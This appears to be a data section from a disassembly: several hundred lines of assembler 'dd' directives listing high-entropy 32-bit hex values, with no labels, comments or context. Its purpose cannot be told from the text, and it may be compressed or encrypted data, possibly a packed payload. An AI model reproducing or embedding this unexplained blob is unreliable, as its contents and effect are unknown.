		dd 6F219261h, 0B50BA0B0h, 27C19EE8h, 870E5317h,	9F514CF0h
		dd 4056ECE1h, 0DD647D98h, 0F3812801h, 452974A0h, 3C67D4A6h
		dd 0DE895F0Dh, 0EAF5F3ACh, 0E898FC44h, 7084560Fh, 585F055Eh
		dd 70CBCBFAh, 1095A0BEh, 0DE313DDFh, 0E2E400ACh, 0D93587FDh
		dd 5F2CFA92h, 754983D4h, 56C00459h, 17786851h, 875983Dh
		dd 0B615E16Bh, 7BD14A9Bh, 913E29E5h, 2235FEECh,	1724ECh
		dd 8957DA5h, 0DE6A88h, 2683B858h, 527C5AA6h, 675BA22Ah
		dd 68F804FBh, 0E27683Dh, 0E02A1FC6h, 58980830h,	9635D60Fh
		dd 8A13320Dh, 1F77BE90h, 0A8584EE0h, 4BF98402h,	2CC8FE01h
		dd 1A02FCCh, 0FA681366h, 185A963h, 0E9AFB753h, 0E92BEF59h
		dd 2F52D209h, 14B36FBCh, 18DDAA8Ch, 965E97ECh, 53169332h
		dd 8334AE31h, 59BD1EC2h, 2F872023h, 0AE3242A5h,	602582F8h
		dd 897259B2h, 6A4651C1h, 226806D8h, 925D8107h, 9BF0E00Eh
		dd 62C3FA4Ah, 0F2E836Dh, 0A8AF490Fh, 7901A588h,	816D9518h
		dd 27257EF0h, 81624A07h, 0F12D90F4h, 0B10CB004h, 7E2C9D1Fh
		dd 910E9A43h, 3624913h,	0F2F66386h, 37507E52h, 2DEDB006h
		dd 105B711Dh, 7389A7FCh, 0C230A2A5h, 83F09577h,	47497BBDh
		dd 25F1797Fh, 0B5A10397h, 6909870h, 1167BF1h, 25E3EEC6h
		dd 0CBC06FFDh, 4B84537Dh, 5C2E240h, 0EF759064h,	0F3E9CECCh
		dd 516A912Bh, 0E3B104ADh, 61246B42h, 8FF991E7h,	8954976Ah
		dd 0F8DD9004h, 75BE4B33h
		dd 848BAC12h, 18E7AD29h, 6A075124h, 0E0C6015Eh,	0BA7A345Bh
		dd 20895BDCh, 0E458F077h, 5A031777h, 39DE1F72h,	4402E698h
		dd 692F7F44h, 25D7D8E3h, 8ED66ED5h, 350E542h, 0BA2FEB21h
		dd 51B85CDh, 0C3DEA7F2h, 50DB1CD5h, 3F144D35h, 0FA9E35AEh
		dd 0E9C421B6h, 2D1F1D3h, 2FFA2DB3h, 6BAFDCBFh, 4D6984C9h
		dd 0F7D200BAh, 3F2442B9h, 33013803h, 43459A7Eh,	94CCC02Fh
		dd 794F3D5Fh, 44E613BCh, 0EFD0750h, 3B4B34FAh, 0E90098FEh
		dd 50574Bh, 6CFB5FB2h, 2329E991h, 0F0ADF337h, 5B1097E9h
		dd 940220F4h, 4FCF8131h, 8E2E4255h, 804DDAD3h, 1BC58085h
		dd 59EA1430h, 0D017A62Ch, 0FB4C0404h, 0E5F5F5h,	1E37FDA0h
		dd 0EB29034Fh, 0C537BC3Bh, 69EB652Dh, 0CF983EBAh, 3C6B5F72h
		dd 0AB4FDA18h, 7F648D92h, 0E28882C5h, 515000E8h, 86B4EBB1h
		dd 59CC301Ch, 0D22AE315h, 0A168B002h, 27946671h, 0A97409B1h
		dd 0F6803703h, 0C1DE923Dh, 597BDB25h, 1447115Eh, 98F352ABh
		dd 545BD93Ch, 82C80AD3h, 0E0E755EEh, 0C18AE98Ah, 0C805AD80h
		dd 6229062h, 3908522Dh,	0D94CEE13h, 687E813Bh, 0F86A0967h
		dd 3B0841E8h, 521142FEh, 0C59A3CBAh, 89DFCA5Dh,	681CE08Eh
		dd 225C5E74h, 14D451D4h, 0A1FACE2Fh, 332E70CDh,	5B884ACDh
		dd 0CE1F817Eh, 44D27F04h, 3F00EB12h, 47969AF6h,	0F2090DAAh
		dd 40915EE9h, 352EDF70h, 1B2614Ch, 53F62063h, 484D5F7h
		dd 0ED49B9E9h, 0B4EBD2A0h, 549D02E1h, 647F5293h, 0AACE27E2h
		dd 0D5EBADDEh, 1DC0A026h, 0EB0DDB95h, 0E9ADC8D7h, 0A52A4FC9h
		dd 0B323703Dh, 0D8B8E75Eh, 1664E84Bh, 2AF4B0E9h, 7EDB00C1h
		dd 0FE2D64DAh, 0EF985214h, 705C828h, 65B1E912h,	362A6B3Dh
		dd 6527B34Dh, 76EDC925h, 0EB4B7B3Ch, 0B54AF76Ch, 9180E3A9h
		dd 34CA0F8Fh, 44702AF8h, 0ECB4559Fh, 73C09A5Ah,	71FE7304h
		dd 7E00EC0h, 0D04CD8F6h, 0C1163090h, 0B1128858h, 120C2EAh
		dd 3BE472DFh, 0F3985457h, 5BDAA907h, 6FD88797h,	0BE311258h
		dd 0A85870F7h, 5050B20h, 144331C6h, 72D9A0Ah, 3A02A624h
		dd 543EB14Dh, 8F9382EAh, 8057658Ah, 396859F4h, 0C2189573h
		dd 0DA82B3B9h, 0A1F3CDBh, 3792293Eh, 899EC851h,	5F307A17h
		dd 714FC1BAh, 23AB2FF8h, 0B37D52C1h, 29DB9262h,	0C9AEE3C6h
		dd 1733461Fh, 1F355326h, 0E0AB16A4h, 1AEC5BD4h,	6A3925D7h
		dd 8322BA60h, 64A970A9h, 6F6A48E6h, 8308306Bh, 65F2D01h
		dd 9FC16B47h, 27548CDCh, 0B000A6E9h, 991E7068h,	80454Eh
		dd 5BF5EBE1h, 1F578AC9h, 0A0ADE959h, 3A08BA29h,	0A8ECE563h
		dd 1A192EEh, 6F45FEF2h,	0F5D1216Bh, 0D55D2B0Fh,	29FA9987h
		dd 0A0498099h, 0F01B2C3Dh, 0BDCA2CBh, 0E31F0008h, 4A6407A2h
		dd 314AEC10h, 0CF29D94Dh, 0C6128488h, 898E6225h, 0B954206Eh
		dd 1A4479Ch, 4BB85037h,	6B742F12h, 0D856BFC3h, 440267Dh
		dd 3C1EA32Dh, 0D5B8EA03h, 1260B213h, 21D0FED3h,	0E48A0DBBh
		dd 9518F467h, 2A481609h, 8082B055h, 0A8ABB93Fh,	0F2C697BCh
		dd 0C15F0320h, 9E7C0FE6h, 0CBF4642Ah, 0C53D8017h, 0BF5EB7ACh
		dd 0A1097324h, 478CE80Fh, 1AA12D15h, 0F2827C42h, 0BA003784h
		dd 1B2618Ch, 4EA8BD30h,	30310370h, 0DC945B8Fh, 7B96F527h
		dd 114B0248h, 0EA252448h, 7E0CC970h, 0AC4AA222h, 0D41418FBh
		dd 25290C42h, 2019082Ch, 6808C394h, 5A12140Ch, 2307ADE5h
		dd 5E1AF799h, 0FAC3B473h, 1FB1342h, 814D40A8h, 721A41EEh
		dd 76566C2Fh, 0D5895862h, 17BC55F8h, 41E95684h,	0B75F71BCh
		dd 0C152387Fh, 1207BF60h, 91922C9h, 7B22D416h, 7D64B49h
		dd 0B0127769h, 0DF2D9E7Eh, 0F8EFF098h, 5B74B080h, 74F2FD28h
		dd 0C3AE084Ah, 59CBC372h, 5B5DD882h, 7FE985DAh,	4EC5CA26h
		dd 1D1FB3E4h, 0F0472D25h, 6A2151D4h, 24BA795Ah,	220A1A74h
		dd 68571820h, 7024059Fh, 0DA09845Ch, 0BCCFC8EAh, 39DEB7FBh
		dd 60A4F4E5h, 39E80FC3h, 27699D79h, 624B7B27h, 7F7365BDh
		dd 6287ADBDh, 7807D8Dh,	6C5C77C3h, 4BA7F89Dh, 2DB88288h
		dd 0DEBA1FF6h, 0CBF229D7h, 0BC7B77E5h, 0FB12EA25h, 2E1AED7Bh
		dd 0A09791A3h, 0DF4BD9E1h, 0AB3A94EAh, 2EF9088h, 0E90A3802h
		dd 0D15DC933h, 0ED25BD84h, 0BFC50B20h, 0C94FD39Dh, 3F2033C4h
		dd 0C01D7CE9h, 4E95EF29h, 26903FA4h, 0B84D5E14h, 0C017CCDh
		dd 0E98063E3h, 0B83AD2C7h, 0B78A84E2h, 0E028AF13h, 49F22F68h
		dd 0C2206CC6h, 0E0D1253Bh, 4382075h, 2508E12Dh,	97DF44B0h
		dd 0F32039h, 0CC18FFB9h, 3BF5751h, 73104018h, 5834DEBAh
		dd 0BD253EDBh, 50665083h, 327BB890h, 0C67965B8h, 52EE584Ah
		dd 3120120h, 6F789E14h,	0DC541BC0h, 19982Ah, 0EE5128C2h
		dd 243D6852h, 53A669AAh, 0E9279F01h, 49768435h,	8007A2C2h
		dd 0F987F1E6h, 0B242BDA2h, 0FFA74855h, 29D99727h, 0B278E5EFh
		dd 0E9FEF84Eh, 459DA16h, 0D44C4DE5h, 828CEB7Bh,	0F360ED83h
		dd 17E912DDh, 72F2FAA6h, 12671126h, 59B0B7Bh, 52FDD3A2h
		dd 15AEEA60h, 755B7D25h, 0F9BAC099h, 0BD6684Fh,	41D411A4h
		dd 8C3D22E4h, 4A466D10h, 447FE7A1h, 1657CD3Ah, 8159C8E3h
		dd 0C949277Eh, 0CE789955h, 0FA5EDB38h, 387BB179h, 6DBAEB71h
		dd 56E70162h, 326B57BEh, 0AA2448D7h, 0E6657D27h, 0A53DE906h
		dd 9FB3073Eh, 339BC380h, 0C0577CBh, 891E9B9h, 0E6ADCE4Eh
		dd 6B7743B7h, 0D45C3921h, 0DC25024Ah, 4A9856B5h, 2ED8A655h
		dd 0F42D83ECh, 4009137Bh, 0D8967534h, 0D7535C27h, 16BD7016h
		dd 0C83B1654h, 7F94BB9Ch, 0BEC494AAh, 2DEBEE94h, 0A58F6F94h
		dd 1D53AA5Eh, 3A6DE1AAh, 95B335FCh, 0C063AAFCh,	104DC06h
		dd 63ACEBCFh, 7D0089D4h, 0E916DC71h, 0A7D30AD8h, 295E7ABCh
		dd 17216E2Fh, 0E86EFE93h, 10DF948Ah, 42E42D3h, 2CE80E9Ch
		dd 4BC08A93h, 0DE848E89h, 0D076E987h, 16F6684Ch, 0E348189Fh
		dd 0AD2BE12Eh, 7947D638h, 55095947h, 10E5D0F9h,	23688545h
		dd 0BE4F24BCh, 212A7B2Dh, 52377E5h, 5BBC82FEh, 542A31D5h
		dd 972E0630h, 2682021Ah, 0E455C24Eh, 0CB6816A1h, 0C1C4EC18h
		dd 55FB7083h, 0F706B16Ch, 42792DD8h, 0C6A0AA5Eh, 0F5EBA152h
		dd 5FFE478Bh, 3551C881h, 24AD410Bh, 51C90748h, 2930BE3Dh
		dd 64BD6619h, 0F0956B74h, 49537EFAh, 0AA4EF3C5h, 0ECBE7964h
		dd 3ADC81C6h, 4A936DC6h, 0CB5540F6h, 3BA2696Bh,	912F7290h
		dd 5C9B8402h, 125A96E8h, 56E5BB00h, 3032E7F5h, 64BCEE75h
		dd 0AA0928AEh, 4F7D52E3h, 0B83B036Fh, 5AD27B03h, 81735D58h
		dd 0FA46260Fh, 0E9F361F0h, 0B934A783h, 0EF61EFDEh, 7EC3392Fh
		dd 0E912A6F7h, 5A9B81DCh, 9EE77A50h, 0B082E9C2h, 5094AE59h
		dd 3EC249Dh, 5ADCFCAFh,	0E03798D7h, 0CA51B7A2h,	304B9280h
		dd 24E3C153h, 25174304h, 5C77CF63h, 4444A92Dh, 4A6810DCh
		dd 0A6895F2Ah, 5A9F4C3Fh, 2B37BB11h, 7AA1C605h,	0FF2FFFE6h
		dd 0AC475071h, 899CA82Ah, 5C035043h, 8744A04Eh,	68DAC051h
		dd 18F42A57h, 767203B0h, 24806082h, 96B6BE28h, 695AADFDh
		dd 0F54E00E8h, 4B90B82Ch, 0E5B7A48Fh, 0BE78EC0Fh, 1A47FE25h
		dd 0C72AB5BCh, 397A1E02h, 2F6EFC3Fh, 198A00FDh,	0B822F943h
		dd 420E4C7Eh, 16586332h, 451AB940h, 8EEC1AC1h, 3689A30Dh
		dd 1BF5ABE9h, 70FBC2F5h, 5D661C47h, 8A68C655h, 61B70E50h
		dd 8A2EFB62h, 0CF2F7C21h, 371055E1h, 113E4E82h,	0FAE4AC77h
		dd 1E46F6A7h, 0BBDD4DE1h
		dd 5EE96A45h, 0F155B280h, 42B7297Bh, 0A9080F38h, 0D3ADC25Bh
		dd 0A49627C8h, 5A6AB049h, 96319310h, 0D6552A0Bh, 0BCE4EA1h
		dd 0EEBA83AEh, 762F8F8Eh, 0A4A512D7h, 357EC87Ch, 0E9EE2104h
		dd 0D2A8C936h, 51DBE80h, 4CC30CEDh, 741CC198h, 2E2A148Ch
		dd 2D13F28Ch, 0A173FF60h, 0B11A16CAh, 9F0DA205h, 0F916ED0Bh
		dd 8F48202h, 0B97E11ABh, 0F59B1889h, 0BE9DD982h, 75F6BB68h
		dd 292D1C89h, 12B4534Ah, 0F22852B1h, 4E8FA3BDh,	0B821FF09h
		dd 0AA07A122h, 52C10CFFh, 0F6D3D6C7h, 0B21F52AAh, 1BC90C8h
		dd 1E6238E2h, 9678C783h, 1D090720h, 50544266h, 0C35CA09Eh
		dd 57222735h, 0F4F36178h, 0B9045156h, 2ED0583Eh, 0E1E20E80h
		dd 0E1F55EFDh, 17870006h, 106099B8h, 0C27DAC6Ch, 54AFFF54h
		dd 0A30973FCh, 59DFDC49h, 1673C41h, 80C9B652h, 8FED63CEh
		dd 680B6328h, 6797B47h,	25BFD6E9h, 34DD0609h, 80ECBFB7h
		dd 50077E0h, 0D3F74B51h, 0A821E268h, 953ACBF7h,	2F25F54Ch
		dd 4C737B3Fh, 222FE967h, 6F797CBFh, 0DD62122Bh,	640BF1D7h
		dd 0A7CF9496h, 2C4F7E82h, 0CA694E9h, 0F084549Fh, 7E9D57E9h
		dd 0EE14968Bh, 64CF1CEh, 815645CBh, 0CE76E081h,	985C5F10h
		dd 0C7790253h, 5BDF010Fh, 2B70B75h, 0E64E0500h,	0B3DEB70Ah
		dd 813EFE69h, 122FD06h,	19A71D6Ch, 0FCFBE47Fh, 40450FC9h
		dd 356550CCh, 1324EF20h, 821D89FAh, 11B151D2h, 3A057A53h
		dd 0FEA558C7h, 9457F8CAh, 3A7795DFh, 627975DFh,	0E2CB52AFh
		dd 0F02813D0h, 0C602EA2Ch, 480CB268h, 0B4A1D80Eh, 9ADD4B83h
		dd 0A1F17F78h, 68555260h, 65611685h, 0B1285C56h, 75F2E90Fh
		dd 54063A3Ch, 510EE0AEh, 0AE80B121h, 3F294E55h,	0FC0EBB53h
		dd 4B28F718h, 1057AD3h,	0A022A5Eh, 445BD821h, 0CD3284C7h
		dd 20F82BB3h, 0F9B86AB9h, 0F9755EA2h, 64A2429Eh, 530C1448h
		dd 0AEEC8AA8h, 3F68180h, 0D0D2958Ah, 4951F589h,	0D4571F9h
		dd 4CF23B8Bh, 9B265CC1h, 0B1F88709h, 0F6B9C97Dh, 0E8B939C8h
		dd 37772D82h, 2974DE54h, 855F6911h, 3484BE71h, 44A4D8FBh
		dd 6DC73800h, 3EB7EA81h, 60624C79h, 0DA2B0A04h,	3F4FB871h
		dd 420497C1h, 2DCA5310h, 5DD74291h, 51AF75F1h, 4A0228EBh
		dd 0BFBD245Eh, 6DA1DBB8h, 82282A23h, 571B4D48h,	0EFD55225h
		dd 0F93493F3h, 0DCF70242h, 5F671C13h, 0BBD082F9h, 0F518149Eh
		dd 145BC1BEh, 79725896h, 95017FC2h, 48230120h, 11F66215h
		dd 0BB00B8B4h, 57422018h, 0F0DD5A09h, 0D12C20Ah, 16AA6122h
		dd 0D4770195h, 0E684AD75h, 590510D8h, 49D1F75Dh, 57B50D80h
		dd 0E82A50B4h, 5E0E0BEFh, 0C9DD2947h, 0B5745B85h, 79CE2468h
		dd 6D756905h, 9675A7CEh, 0D197D3h, 0B152BA80h, 9D5DE97Eh
		dd 0EFCEC3A4h, 35E3DE0Ch, 5652005Ch, 0C1690668h, 84A15E2Fh
		dd 0B29D0CDh, 1890569Dh, 603BCDDh, 54673A27h, 0C7D82D20h
		dd 1D44E3A0h, 0E955E704h, 8CAE3AA9h, 0BD400EFCh, 61D048F7h
		dd 9C25073Dh, 525BD780h, 54BD21B2h, 0F3808147h,	0EADD8841h
		dd 37CBF9A8h, 10892D5h,	91EAF4A0h, 387BB754h, 7DD76827h
		dd 0E077C3B2h, 815CBB3Bh, 28D3D952h, 59CD5F1Ah,	706DF96Bh
		dd 97599D40h, 0A9682A98h, 0F0E3225Eh, 47B22630h, 0A4EED80h
		dd 5AD539F5h, 9535CDE4h, 0F56803F7h, 0DA762D0Dh, 61F0A346h
		dd 0C5C33360h, 5C1F7DB0h, 10062963h, 187C8768h,	8A8BD12h
		dd 0D1BA8C05h, 15D8C07h, 0A7E5515Bh, 10A028DCh,	70C450E2h
		dd 0E61C28CAh, 29040B82h, 0C44D2184h, 1D9509E1h, 507242F6h
		dd 0C2125481h, 0BEDC4BF4h, 0E87E9C2Dh, 93F4D72h, 0F22AC3E9h
		dd 0BEC2049Bh, 0AA16E329h, 32B2D280h, 251777A6h, 0EC7A2DE9h
		dd 193BF027h, 0BE784FECh, 2701AD2Ch, 0E98BE287h, 0C0635957h
		dd 365F1408h, 0C4E94609h, 0C1A69BDCh, 0E18B4580h, 1099AF7h
		dd 0D40B3778h, 0AFCECB42h, 0D0F96BE7h, 6F04EAB2h, 52760A9Ch
		dd 9390FE1Bh, 9D339068h, 7DFC9898h, 2DC0C597h, 0F6571A6Ah
		dd 0A8FE12B0h, 0E94A0518h, 0CF4E2DCh, 55503987h, 7F2D6800h
		dd 0EBE90EF8h, 96270AB6h, 5B6FFE4Dh, 7024B2E1h,	0FEB7C1F2h
		dd 67C380BAh, 3116645Ah, 45CBAD3h, 0EFAD9426h, 958BA078h
		dd 50A9657h, 0D159FEEFh, 28F7F81Dh, 6C9408C7h, 90F7D9CBh
		dd 5CA45008h, 285B9B40h, 40D15349h, 0DBB04A9Fh,	5064DF04h
		dd 3EC0812Eh, 0EC172057h, 48B50CCBh, 241863C1h,	30493812h
		dd 48A86657h, 10CAA6E5h, 800FDE93h, 790575C4h, 4775FE2Ch
		dd 0C5E543C8h, 1F1013Bh, 0BD44DFD8h, 5AB12038h,	8E94AA90h
		dd 0EE965E9Dh, 5FF4D756h, 30484113h, 1E168402h,	201A7294h
		dd 4EFB79F7h, 7728EFB7h, 0F52C25E9h, 0A4C311F5h, 0C379F5FEh
		dd 0A8A57649h, 1355A65h, 19685837h, 77302F69h, 4A800433h
		dd 1A97F405h, 0F23BC041h, 1877C434h, 5F685901h,	0BD313E02h
		dd 5D035016h, 177EE4F2h, 792FFE68h, 0E722AF53h,	0EC48AB21h
		dd 0F78A412Dh, 0E8133A8Eh, 7701F5DAh, 6CA91EDEh, 4058A82Bh
		dd 155EE908h, 0E7E1E44Eh, 57094329h, 266284F9h,	43B9009Ah
		dd 33584947h, 13ED5FB8h, 28ED0F74h, 0BC06E669h,	0EB327B44h
		dd 5E39087Dh, 51D39502h, 0E9E39CD6h, 0F193D89Fh, 108DE67Fh
		dd 0A04DEB1Ah, 666EC004h, 0FDCBFB2Dh, 2512F602h, 52F72BFFh
		dd 32B8025Ch, 0F289DDF1h, 0D42CC200h, 0C2A94F26h, 0E0F81753h
		dd 5F8A5D5Fh, 943E6C84h, 0E803C14Ch, 2EE93ED3h,	0C2E70696h
		dd 969053AFh, 0F054AD89h, 94BD5740h, 0C99F3554h, 1254E847h
		dd 0B3FC19D5h, 851CB9F4h, 0A794C3D2h, 51562880h, 45B73ABh
		dd 547DCBB9h, 56A1EF04h, 4FB8CCCEh, 9834AB21h, 0E0EDF0FEh
		dd 80054394h, 0F009B0C6h, 0A3947DD2h, 15595425h, 0EAC213EFh
		dd 0EAC082A2h, 431D6A48h, 42E54A92h, 0CA665808h, 0F8E1655Fh
		dd 3B01D97Fh, 4FB34688h, 140BFFAFh, 56B72513h, 0D32FB6EEh
		dd 39AC7457h, 2FC54CB1h, 22167540h, 1E4A1B5Dh, 81CCCA81h
		dd 36E91FFEh, 20BB2FB5h, 0BD37F5A0h, 46F076DDh,	50F24973h
		dd 0A2F18E57h, 273D607h, 669633B6h, 20A841F7h, 0FC4FE72Ch
		dd 4081A412h, 0A83EA8F9h, 3AECA53Ch, 29B76C02h,	9D88FA01h
		dd 70622808h, 0B2759724h, 871756Eh, 5628E962h, 0FBD010Ah
		dd 6C9FBE31h, 0FB5E7700h, 38A833FBh, 0C5C8AFECh, 129E3868h
		dd 99BFE4Eh, 5C04BE4Eh,	6802980Ah, 0C65522C6h, 5445F2F3h
		dd 0EB30918h, 0D8CB806Fh, 8816EB61h, 7EAA26D9h,	66EDC909h
		dd 78118B50h, 0A07C95E0h, 0F96BBDC3h, 0AF05C3EDh, 94BEB694h
		dd 0AC43AC5Dh, 0C7F630E9h, 47B2BB3Eh, 44489630h, 0BBF6DFAh
		dd 4A3E944h, 5A1F2345h,	0BCE9A956h, 340BEF3Ch, 8F801826h
		dd 40918AAFh, 30ABE29Dh, 4C62E9F6h, 5C82971Ch, 0FEC1CC6Bh
		dd 0C5282433h, 49972612h, 1956711Fh, 0E46AA589h, 0B141CB6Ch
		dd 810E02Eh, 0DD0C817Eh, 0E4389A1Ch, 0A83C19C9h, 200B0C73h
		dd 0E91C6EA8h, 552546F0h, 90524132h, 0D9B3542Eh, 972B88h
		dd 7A3702B9h, 3AF7312Eh, 0CD8F5205h, 185BF7EAh,	0BA5A13BBh
		dd 0B62A2794h, 1F03CA76h, 3D75801Eh, 0FA188A86h, 405A183Dh
		dd 5411132Fh, 32850A65h, 23520271h, 7F75A8Eh, 87F241A7h
		dd 0E12475C8h, 1C79A8E7h, 0DB81D3F6h, 0B252CBFEh, 78E09442h
		dd 5660B0Ah, 26777E0Ah,	240E2D12h, 12BF555Dh, 61CBFBF3h
		dd 0ADD5654Eh, 141B10C2h, 0EC403C62h, 2C87C77Dh, 5145A53Fh
		dd 68975DC0h, 951A7032h
		dd 0E9505F7Eh, 573869DAh, 702F46D9h, 9EFAFC31h,	680501DFh
		dd 3F099E0Eh, 70E24C4h,	5EFED25Fh, 1CC9C5EEh, 0D8BBC0D6h
		dd 5916BD55h, 6F50310Ah, 424105FCh, 0D7C6C145h,	0E4034E06h
		dd 9C0336A7h, 0A1E98E12h, 21991B54h, 88177C96h,	1CBD51B9h
		dd 2D076C95h, 8F0529D9h, 0A981E8A9h, 0CA4E7B85h, 21915043h
		dd 1B0D824Bh, 604F052Dh, 244A7D6Dh, 213322Ch, 0B315355h
		dd 0BBEC68F8h, 6B775209h, 0C950011h, 0B82C6117h, 2B4C4137h
		dd 3DD721FBh, 0A5A2A4E7h, 1A32A15h, 0BC0E29B8h,	0E23F2158h
		dd 0E782D8D8h, 0F46A14C9h, 0CC049374h, 7F3F28h,	3DA85F66h
		dd 0A1F25E9h, 58944466h, 30BBC792h, 0B40BB62h, 0AEC173E2h
		dd 38BE64EFh, 0F3D3B46Eh, 621AE4E3h, 0CCE3E913h, 63F87A9h
		dd 953CF1Ch, 0C55C735Eh, 14C70592h, 57903BC2h, 0EB12F676h
		dd 0C74A4FBBh, 39104A7h, 4A52CF8h, 90CEF3CCh, 0F03BD510h
		dd 0BE0C56E8h, 669A44CAh, 6A9D09E6h, 10F77057h,	0E2CD5D6Eh
		dd 962D051Ch, 0A2F6E3Eh, 0B0705EBh, 0D9DED6E9h,	274078ADh
		dd 0E6DC5A06h, 4BAE6862h, 0CDF5F3FFh, 45BFC241h, 78FE3076h
		dd 295A5AE0h, 108B3F5Ch, 381EE914h, 84506058h, 0FC094A03h
		dd 1804A45Ch, 0CFBD4EBEh, 0B2C3E616h, 0CACB865Dh, 1AEE6053h
		dd 58571C3Fh, 0FD973CA4h, 0E9106A21h, 25A384Ah,	64129BDh
		dd 5B04D53Ah, 0CEC9C245h, 0EA929BDDh, 3E7A80A4h, 954E6475h
		dd 42F836D0h, 0AAB87AE1h, 0EDFD42ADh, 424EF1F5h, 71D59464h
		dd 71D749F4h, 0E090C907h, 0A0B79DCDh, 5266F7FBh, 0CE7C4886h
		dd 6D7F614h, 805A3C7Ch,	9868AB89h, 0B468987Fh, 73CCFA2Ch
		dd 1EC3187h, 0D9C02A06h, 330C9D08h, 1F23E616h, 343DDE47h
		dd 0AB9C5FF8h, 0C8E728D7h, 92E3DE79h, 0B82C80E7h, 800003FAh
		dd 5402557h, 710D28BBh,	46F50748h, 0B002E0C1h, 62E3527Fh
		dd 814E3507h, 0C730AD08h, 5E530754h, 405CF976h,	94915808h
		dd 5F99CD0Bh, 0BE0FD5E5h, 57659F93h, 0E90B4AEDh, 22144AEh
		dd 0CF08F510h, 544EEB01h, 50F70B20h, 0FB8FD5Ch,	4F54AC3Ch
		dd 1AB968A6h, 2B2F709Ah, 5A06D4D3h, 36663A60h, 255F645Ch
		dd 5C168293h, 0C9184553h, 544629F4h, 0D50125D5h, 35628951h
		dd 0A2B904F6h, 2CC22DC5h, 17D40CEEh, 0F91A9B66h, 0E908401Dh
		dd 0BDF5F934h, 7C9AF2FAh, 803C65Bh, 0FD59CD31h,	0D6B80FD3h
		dd 0CF509703h, 4010392h, 0DFF716D0h, 6625B8E9h,	7130EBFDh
		dd 0C7BD06F3h, 0F4D11F84h, 0CB027AF0h, 37E92BECh, 30D80D45h
		dd 541F124Bh, 7C4A3425h, 8683BDE6h, 4FD0F6C1h, 9587AA08h
		dd 0A2E9452Fh, 4287EE1h, 0DF9B7h, 0E1B82A42h, 13D8E9E0h
		dd 0FD51989Dh, 92319551h, 46F28552h, 0FB09AF4Dh, 0F2335FEDh
		dd 0C3E1735Fh, 0AF0E252Eh, 92D61FF2h, 8476E3BFh, 69A54923h
		dd 0B36EF505h, 5FEC4BF7h, 5A447205h, 1290BE1Dh,	78DA6A5h
		dd 0E9D58963h, 0CAE23A5Eh, 0FFA012C2h, 0EF4AA6B7h, 0E9B3031h
		dd 7D6D66h, 0BE38FC54h,	1AACAEC7h, 7509A598h, 774BF07Ah
		dd 25086E28h, 65914580h, 0E09F5D8Ch, 5C1C0435h,	3C2DAB7Eh
		dd 0D5D22856h, 460C82E6h, 5A35C11Ah, 0A80DD242h, 0E952044Eh
		dd 0E3EBB4C6h, 67D1206h, 0E5E7EBACh, 50DFF049h,	6FDF6806h
		dd 0FC812C45h, 5F10B285h, 0F560B854h, 9C93A08h,	0E473515Ah
		dd 20F574A8h, 47090ADCh, 75FC11E9h, 2CC2486Bh, 5F13697Eh
		dd 0D3E467AFh, 0C52D9176h, 0E6B5155h, 794B2204h, 0D8760055h
		dd 0A624AF68h, 57B701C7h, 8DE9C7FEh, 0DAF33E08h, 0E9845390h
		dd 0BBC1D4F8h, 8AD3D9F8h, 37AC5FA3h, 7FCC63B1h,	25D0CCF2h
		dd 6BA36809h, 7A527CFCh, 0EFC322BDh, 0D41F1BFh,	6B1490FAh
		dd 0F86F1C39h, 2BE58DB1h, 1AB74EAh, 0C3FE47B3h,	0CC796180h
		dd 0EBECEACBh, 7888D527h, 2C46332Dh, 33B9EF9Bh,	35B86BC6h
		dd 0DBA9D189h, 0B095BAFDh, 953560FEh, 8CB89DE6h, 28FCD00h
		dd 2DE94943h, 938794FAh, 0B6924672h, 8392B015h,	0D516F797h
		dd 5D491CBEh, 468D5905h, 0BF015FAEh, 0D0310F29h, 1B29A63Bh
		dd 28A9B081h, 0AF2A58C7h, 41F62062h, 8D3ABBF2h,	0F8A3075h
		dd 3E1A2F04h, 0B3FE5B68h, 278069Ah, 0B8D60949h,	575228FFh
		dd 49A64E95h, 53D49000h, 0F5782C2h, 0BB298AC9h,	2CEB240Eh
		dd 0AB42A1F9h, 0E6D102D7h, 9B0E997Ah, 20556708h, 68B373BDh
		dd 0EE31097Ch, 0ADDC895Dh, 98F227BDh, 0B7A8E931h, 93EF6049h
		dd 0E4AEFA2Ah, 1A07BFD9h, 0C12E0C32h, 4BFF8FBh,	115B3B6Dh
		dd 5BFCFA47h, 5631E913h, 0F2B106A9h, 0BA2DE3DEh, 5E89568Fh
		dd 4B531CB5h, 58D00B1h,	6B41357Dh, 1CE8012Ch, 47A32D12h
		dd 5A112232h, 36B5A27Dh, 0CB4949D1h, 0BD3FB0DCh, 836AEC96h
		dd 0FFA7190Ch, 0E918D81Ch, 0E6C9F74Ch, 97751DB5h, 0B8CE8179h
		dd 7E3D1B51h, 0C103ED84h, 17C264AFh, 0EE5EF176h, 4582B074h
		dd 0B739DDECh, 0A01CF805h, 0F32D1803h, 7C114B25h, 0E507A3E6h
		dd 8E671116h, 125DFABBh, 0F8219B68h, 0EC4AC7D1h, 9FBC2B25h
		dd 18A55CD7h, 0D0212C4Dh, 70047E97h, 899E18E9h,	0EE50530Fh
		dd 9BC073C8h, 4AAD7D0Fh, 4094BC6Bh, 89305807h, 0CE969DAh
		dd 0CCE49617h, 0F74FF319h, 169FD4B2h, 7D2CAD3Fh, 70F3CF04h
		dd 0B080395Ah, 60A8464Ah, 4F5D9C1Bh, 0DA9F28C4h, 0AE892D62h
		dd 0B49CF966h, 0E74FF76Bh, 71548B27h, 61714984h, 0A828549h
		dd 17E2E0F4h, 887370h, 2E30EA1Bh, 0E92C024Ch, 0AC822A40h
		dd 0A61D5E68h, 9ED9A3A2h, 0FCBC887Fh, 56F58100h, 0F6389129h
		dd 3916B666h, 0BC4C0CEh, 2601CD10h, 35CE181h, 1E7E198Ch
		dd 2B4903B0h, 0C9F3576Ch, 70D8C287h, 23ACFCC0h,	0C7B037E0h
		dd 0B1472809h, 0A19070F8h, 852950C3h, 8B552600h, 21012D10h
		dd 0F440BB2Fh, 2FD70D1Eh, 0B70C2AF7h, 0E92C0A1Bh, 97B7C9F8h
		dd 2D487C20h, 8600263Dh, 49DF3578h, 0A0564CDh, 380FBEDAh
		dd 485002B9h, 0D8755659h, 5808811Bh, 0AF81133Ah, 0FD0950B3h
		dd 6CD5EF89h, 601714D1h, 0C1108F2Dh, 80AC3F94h,	72B6528Eh
		dd 980C6FEh, 0D2E96FEEh, 3CBEE940h, 0CE62C04h, 99EAF229h
		dd 5EE053Ah, 0AC0F0634h, 0F404F4BDh, 70BF2263h,	58E788FDh
		dd 2776804Ch, 506FA930h, 31F84109h, 8C3E880Eh, 94BF1216h
